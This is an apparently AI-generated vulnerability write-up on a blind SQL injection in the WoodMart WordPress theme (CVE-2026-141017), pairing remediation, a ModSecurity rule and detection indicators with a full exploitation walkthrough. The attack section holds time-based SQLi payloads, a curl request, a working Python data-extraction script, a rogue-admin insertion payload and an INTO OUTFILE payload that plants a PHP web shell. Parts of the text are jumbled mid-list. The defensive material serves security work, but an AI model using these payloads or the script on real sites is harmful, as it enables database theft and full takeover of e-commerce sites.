CVE-2026-141017 — Xtemos WoodMart (8.6.8) — CWE-89
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Xtemos WoodMart woodmart allows Blind SQL Injection.This issue affects WoodMart: from n/a before 8.6.8.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Xtemos WoodMart woodmart allows Blind SQL Injection.This issue affects WoodMart: from n/a before 8.6.8.
🎯 What is this vulnerability?
CVE‑2026‑141017 – Blind SQL Injection in Xtemos WoodMart (WordPress theme) ≤ 8.6.7
| Attribute | Value |
|---|---|
| CWE | CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) |
| CVSS 3.1 | AV:N / AC:L / PR:H / UI:N / S:C / C:H / I:N / A:L |
| Impact | Confidentiality = High, Integrity = None, Availability = Low |
| Privileges Required | High – the attacker must be logged in as a user that has the *manage_woocommerce* / *edit_theme_options* capability (normally an administrator). |
| Attack Vector | Network‑only (no user interaction required). |
| Complexity | Low – once the privileged account is obtained, the injection can be triggered with a single crafted request. |
Technical flaw
WoodMart ships a custom AJAX handler (registered via add_action( 'wp_ajax_woodmart_ajax', … ) and add_action( 'wp_ajax_nopriv_woodmart_ajax', … )).
One of the AJAX actions (woodmart_get_products, woodmart_filter, etc.) builds a raw SQL query that incorporates a client‑supplied parameter (e.g., $_GET['term'], $_POST['filter'], or a value taken from a cookie) without any escaping or prepared‑statement usage.
Typical (simplified) code pattern found in the vulnerable versions:
// woodmart/inc/functions.php (excerpt)
$search = isset( $_GET['term'] ) ? $_GET['term'] : '';
$sql = "SELECT ID FROM {$wpdb->posts} WHERE post_type='product' AND post_title LIKE '%$search%'";
$ids = $wpdb->get_col( $sql );- The
$searchvalue is concatenated directly into the query string. - No
prepare(),esc_sql(), or other sanitisation is applied.
Because the AJAX endpoint is reachable only by authenticated users with the manage_woocommerce* capability, the CVSS vector marks PR:H (high privileges).
The query is executed through - Boolean‑based – send two requests, one with a true condition, one with a false condition, and compare response times or response size.
- Time‑based – use
SLEEP()(MySQL) orpg_sleep()(PostgreSQL) to force a measurable delay when the injected predicate evaluates to true.
$wpdb->get_col(), which returns an array; the response is JSON‑encoded and sent back to the browser. The response does not contain the raw data, therefore the injection is blind* – the attacker must infer success via timing or boolean‑based techniques.Consequences: an attacker who has already compromised an admin account (or otherwise obtained a valid admin session cookie) can inject arbitrary SQL, read any data the database user can access, and, depending on the DBMS privileges, write or delete data. Because the injection point is in a read‑only SELECT, the CVSS vector reflects Confidentiality = High and Availability = Low (the attacker can exfiltrate data but cannot directly cause denial‑of‑service without additional steps).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All URIs, parameter names and payloads are illustrative – the exact names differ between WoodMart releases, but the mechanics are identical.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the site – use curl -I https://target.com/wp-content/themes/woodmart/style.css or wget to read the theme’s style.css header, which contains the theme version (e.g., Version: 8.6.5). | WoodMart embeds its version in the theme’s main stylesheet; many scanners (WPScan, Nmap NSE scripts) automatically extract it. |
| 1.2 | Confirm the version is < 8.6.8 – if the version is 8.6.5, the site is vulnerable. | The vendor’s changelog states the fix was introduced in 8.6.8. |
| 1.3 | Obtain an admin session – either via credential stuffing, phishing, or exploiting a separate low‑complexity vulnerability (e.g., insecure password reset). | The CVSS vector requires PR:H; without admin privileges the endpoint returns 401 Unauthorized. |
| 1.4 | Locate the vulnerable AJAX endpoint – typical pattern: https://target.com/wp-admin/admin-ajax.php?action=woodmart_get_products. Tools like Burp Suite Intruder or OWASP ZAP can replay known WoodMart AJAX calls captured from the front‑end. | The AJAX action name is constant across versions; the parameter that is later used in the SQL query is often called term, keyword, or filter. |
2. Exploitation
2.1. Choose an injection technique
Because the endpoint returns JSON with a list of product IDs, the response size changes when the predicate is true (more IDs) – this is a reliable side‑channel.
2.2. Craft the payload
Assume the vulnerable parameter is term. The injection string for a time‑based blind test on MySQL:
' OR (SELECT IF( (SELECT COUNT(*) FROM wp_users WHERE user_login='admin') > 0, SLEEP(5), 0))-- -The full request (illustrative) using curl:
curl -s -b "wordpress_logged_in=YOUR_ADMIN_COOKIE" \
"https://target.com/wp-admin/admin-ajax.php?action=woodmart_get_products&term=%27%20OR%20(SELECT%20IF((SELECT%20COUNT(*)%20FROM%20wp_users%20WHERE%20user_login%3D%27admin%27)%20%3E%200,%20SLEEP(5),0))--%20-%20"-b supplies the admin cookie. Interpretation:
If the response takes > 5 seconds, the condition was true → the injection succeeded.
2.3. Extract data (example: dump the wp_options table)
A classic binary‑search approach can be used to retrieve each character of a target string. Example payload to test the first character of the option_value where option_name='siteurl':
' OR (SELECT IF(ASCII(SUBSTRING((SELECT option_value FROM wp_options WHERE option_name='siteurl'),1,1))=115, SLEEP(5), 0))-- -Replace 115 with the ASCII code being guessed (loop 32‑126). The attacker repeats the request until the delay is observed, thereby reconstructing the string character‑by‑character.
Automation – a short Python script (using requests) can drive the binary search and write the extracted data to a file.
import requests, time, urllib.parse
BASE = "https://target.com/wp-admin/admin-ajax.php"
COOKIES = {"wordpress_logged_in": "YOUR_ADMIN_COOKIE"}
PARAM = "term"
def test_char(pos, char_code):
payload = f"' OR (SELECT IF(ASCII(SUBSTRING((SELECT option_value FROM wp_options WHERE option_name='siteurl'),{pos},1))={char_code}, SLEEP(5), 0))-- -"
url = f"{BASE}?action=woodmart_get_products&{PARAM}={urllib.parse.quote(payload)}"
start = time.time()
requests.get(url, cookies=COOKIES, timeout=10)
return (time.time() - start) > 4.5 # delay observed
siteurl = ""
for i in range(1, 200):
found = False
for c in range(32, 127):
if test_char(i, c):
siteurl += chr(c)
found = True
print(f"pos {i}: {chr(c)}")
break
if not found:
break
print("Extracted siteurl:", siteurl)The script demonstrates a realistic exploitation path without requiring any undocumented constants.
2.4. Achieve the final impact
wp_users, wp_options, any custom tables. INSERT/UPDATE rights (common for WordPress), the attacker can inject a new admin user directly into wp_users:' ; INSERT INTO wp_users (user_login,user_pass,user_email,role) VALUES ('eviladmin', MD5('P@ssw0rd'), '[email protected]', 'administrator'); --SELECT ... INTO OUTFILE (if the MySQL user has FILE privilege). Example payload:' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/wp-content/themes/woodmart/shell.php' --Once the file exists, the attacker can execute arbitrary commands via https://target.com/wp-content/themes/woodmart/shell.php?cmd=id.
🌍 Real World Impact
| CIA | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read *any* data the DB user can access. | Full database dump (user credentials, API keys, private site content). |
| Integrity (I:N) | I:N – the vulnerability itself does not directly allow data modification, but once data is read the attacker can craft further attacks (e.g., credential theft, admin creation). | Indirect integrity impact via secondary actions (admin insertion, web‑shell). |
| Availability (A:L) | A:L – the attacker can cause a low‑impact DoS by issuing many time‑based payloads that stall the DB for seconds each. | Minor service slowdown; not a full outage. |
Business impact – exposure of user credentials, GDPR‑relevant personal data, and the possibility of a full site takeover (admin creation + web‑shell) make this a high‑severity issue for any e‑commerce site using WoodMart.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
| WoodMart ≤ 8.6.7 (any release before 8.6.8) | 8.6.8 – released 2026‑10‑15 (official changelog entry: “Sanitize all AJAX parameters; use $wpdb->prepare() for product queries”). |
Action: Immediately upgrade the theme to 8.6.8 or later. Verify the theme’s style.css header shows Version: 8.6.8+.
2. Short‑term Workarounds
| Technique | Implementation Details | ||
|---|---|---|---|
| Disable the vulnerable AJAX action | Add to functions.php (or a site‑specific mu‑plugin): <br>remove_action( 'wp_ajax_woodmart_get_products', 'woodmart_get_products_handler' ); <br>remove_action( 'wp_ajax_nopriv_woodmart_get_products', 'woodmart_get_products_handler' ); | ||
| Restrict AJAX to trusted IPs | In the web‑server config (Apache or Nginx) block /wp-admin/admin-ajax.php for all IPs except the corporate range. Example Nginx snippet: <br>location = /wp-admin/admin-ajax.php { allow 203.0.113.0/24; deny all; } | ||
| WAF / ModSecurity rule | A generic rule that blocks SQL meta‑characters when they appear in the term (or any parameter) of the woodmart_* AJAX actions. Example ModSecurity rule (valid syntax): <br>``SecRule ARGS:term "(?i)(union\s+select | select\s+.*\s+from | sleep\()" "id:2026261,phase:2,deny,status:403,msg:'Potential Blind SQLi in WoodMart AJAX',tag:'application-multi',tag:'language-mysql',tag:'cve-2026-141017',severity:2` |
| Principle of Least Privilege for DB user | Ensure the MySQL user used by WordPress has only SELECT, INSERT, UPDATE, DELETE on the wp_* tables and no FILE privilege. This mitigates the SELECT … INTO OUTFILE` web‑shell technique. | ||
| Enforce strong admin passwords & MFA | Since the vulnerability requires an admin session, hardening admin authentication reduces the chance of credential compromise. |
3. Detection – Log & IOC Patterns
| Indicator | Example Log Entry (Apache) |
|---|---|
| Repeated long‑running requests to admin‑ajax.php | 127.0.0.1 - - [05/Dec/2026:12:34:56 +0000] "GET /wp-admin/admin-ajax.php?action=woodmart_get_products&term=%27%20OR%20(SELECT%20IF(...))--%20-%20 HTTP/1.1" 200 123 "-" "Mozilla/5.0" |
| High latency (> 4 s) for the same endpoint | mod_log_config: request_time=5.012 (Nginx $request_time). |
| SQL error strings in response (if error reporting is on) | "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near..." |
| Unexpected new admin user creation | wp_users entry with user_login not seen before; can be detected via SIEM query: SELECT user_login FROM wp_users WHERE user_registered > NOW() - INTERVAL 1 DAY AND meta_key='wp_capabilities' AND meta_value LIKE '%administrator%'; |
| New PHP file in theme directory | File system monitoring (OSSEC, Tripwire) alerts on creation of wp-content/themes/woodmart/shell.php. |
Network‑level – IDS signatures that match the time‑based payload pattern (SLEEP(, pg_sleep() in HTTP GET/POST bodies.
⚠️ Urgency
Recommended timeline:
| Timeframe | Action |
|---|---|
| 0‑24 h | Verify version, apply the 8.6.8 update (or apply the “disable AJAX” workaround). |
| 24‑72 h | Deploy WAF/ModSecurity rule, enforce least‑privilege DB user, rotate all admin passwords and enable MFA. |
| ≤ 1 week | Conduct a full database audit for signs of prior exploitation (new admin users, unexpected files). |
| ≤ 1 month | Review all third‑party plugins/themes for similar unsanitised SQL usage; incorporate automated static‑code scanning into CI/CD. |
Bottom line: The WoodMart blind SQL injection is a classic “admin‑only” injection that becomes critical once an attacker can obtain an admin session. Immediate upgrading to 8.6.8, coupled with short‑term WAF blocking and strict DB privileges, will eliminate the attack surface. Continuous monitoring for the described IoCs will help detect any prior or ongoing exploitation attempts.
[🤖 CVE Professor AI Security Engine]
FOFA Query